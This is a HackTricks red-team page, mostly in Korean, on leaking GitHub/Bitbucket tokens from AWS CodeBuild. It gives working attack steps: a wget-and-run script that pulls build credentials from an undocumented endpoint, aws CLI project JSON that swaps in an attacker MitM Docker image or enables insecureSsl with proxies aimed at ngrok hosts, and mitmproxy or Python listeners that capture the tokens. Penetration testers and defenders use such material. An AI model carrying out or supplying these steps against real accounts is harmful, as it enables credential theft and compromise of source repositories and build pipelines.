AWS Codebuild - Token Leakage

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Github/Bitbucket에 구성된 Tokens 복구

먼저, leak할 수 있는 source credentials가 구성되어 있는지 확인하세요:

aws codebuild list-source-credentials

CodeBuild Job 내 RCE를 통해

CodeBuild job 내부에서, 문서화되지 않은 AWS CodeBuild API endpoint를 호출하면 CodeBuild에서 사용하는 credentials를 반환합니다. 이는 CodeBuild job이 설정될 때 사용된 credentials(예: AWS CodeConnection credentials, OAUTH 또는 PAT credentials)을 획득하는 데 사용될 수 있습니다. CodeBuild job은 이 endpoint에 접근하기 위해 권한이 높을 필요가 없고, CodeBuild 자체가 시작 시 이 endpoint를 여러 번 호출하기 때문에 logging 및 monitoring 측면에서 탐지하기도 어렵습니다.

The technique is explained further in https://thomaspreece.com/2026/03/23/part-2-aws-codebuild-escalating-privileges-via-aws-codeconnections/ but in summary to obtain credentials within the CodeBuild job you just need to run the following:

python -m pip install botocore boto3 requests
wget https://raw.githubusercontent.com/thomaspreece/AWS-CodeFactoryTokenService-API/refs/heads/main/GetBuildInfo.py
python ./GetBuildInfo.py

Docker Image를 통해

예를 들어 계정에 Github 인증이 설정되어 있음을 발견하면, Codebuild가 프로젝트 빌드를 실행할 때 특정 Docker image를 사용하도록 하여 해당 access (GH token or OAuth token)를 exfiltrate할 수 있습니다.

이를 위해 새로운 Codebuild project를 생성하거나 기존 프로젝트의 environment를 변경하여 Docker image를 설정할 수 있습니다.

The Docker image you could use is https://github.com/carlospolop/docker-mitm. This is a very basic Docker image that will set the env variables https_proxy, http_proxy and SSL_CERT_FILE. This will allow you to intercept most of the traffic of the host indicated in https_proxy and http_proxy and trusting the SSL CERT indicated in SSL_CERT_FILE.

  1. Create & Upload your own Docker MitM image
  • 리포지토리의 지침을 따라 proxy IP 주소와 SSL cert를 설정하고 docker image를 빌드합니다.
  • DO NOT SET http_proxy to not intercept requests to the metadata endpoint.
  • You could use ngrok like ngrok tcp 4444 lo set the proxy to your host
  • Once you have the Docker image built, upload it to a public repo (Dockerhub, ECR…)
  1. Set the environment
  • Create a new Codebuild project or modify the environment of an existing one.
  • Set the project to use the previously generated Docker image
  1. Set the MitM proxy in your host
  • As indicated in the Github repo you could use something like:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

사용된 mitmproxy 버전은 9.0.1이며, 버전 10에서는 작동하지 않을 수 있다고 보고되었습니다.

  1. 빌드를 실행하고 자격 증명을 캡처
  • Authorization 헤더에서 토큰을 확인할 수 있습니다:

이 작업은 aws cli에서도 다음과 같이 수행할 수 있습니다

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild 프로젝트에는 웹에서 숨겨져 있어 API에서만 변경할 수 있는 insecureSsl 설정이 있습니다.
이 설정을 활성화하면 Codebuild가 플랫폼에서 제공하는 인증서를 검증하지 않고 리포지토리에 연결할 수 있습니다.

  • 먼저 다음과 같은 명령으로 현재 구성을 열거해야 합니다:
aws codebuild batch-get-projects --name <proj-name>
  • 그런 다음 수집한 정보를 사용하여 프로젝트 설정 insecureSslTrue 로 업데이트할 수 있습니다. 아래는 내가 프로젝트를 업데이트한 예시이며, 끝부분의 insecureSsl=True 를 확인하세요(수집한 구성에서 변경해야 할 유일한 항목입니다).
  • 또한 http_proxyhttps_proxy 환경 변수를 자신의 tcp ngrok을 가리키도록 추가하세요(예:):
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 마지막으로 Build the project를 클릭하면, credentials가 **평문(base64)**으로 mitm 포트로 전송됩니다:

HTTP 프로토콜을 통해

[!TIP] > 이 취약점은 2023년 2월 20일 주에 AWS에 의해 수정되었습니다(아마 금요일이었던 것으로 기억합니다). 따라서 이제 더 이상 attacker가 이를 악용할 수 없습니다 :)

An attacker with elevated permissions in over a CodeBuild could leak the Github/Bitbucket token configured or if permissions was configured via OAuth, the temporary OAuth token used to access the code.

  • attacker는 환경 변수 http_proxyhttps_proxy를 자신의 머신을 가리키도록 CodeBuild 프로젝트에 추가할 수 있습니다(예: http://5.tcp.eu.ngrok.io:14972).
  • 그런 다음, github 저장소의 URL을 HTTPS 대신 HTTP를 사용하도록 변경합니다. 예: http://github.com/carlospolop-forks/TestActions
  • 그런 다음, proxy 변수(http_proxy 및 https_proxy)가 가리키는 포트에서 https://github.com/synchronizing/mitm에 있는 기본 예제를 실행합니다.
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 다음으로, Build the project를 클릭하거나 명령줄에서 빌드를 시작합니다:
aws codebuild start-build --project-name <proj-name>
  • 마지막으로, credentialsclear text (base64)로 mitm 포트로 전송됩니다:

Warning

이제 공격자는 자신의 머신에서 token을 사용하여 해당 token이 가진 모든 권한을 나열하고, CodeBuild 서비스를 직접 사용하는 것보다 더 쉽게 (남용/오용)할 수 있습니다.

webhook 필터 잘못 구성으로 인한 Untrusted PR execution

PR 트리거 webhook 우회 체인(ACTOR_ACCOUNT_ID regex + untrusted PR execution)에 대해서는 다음을 확인하세요:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기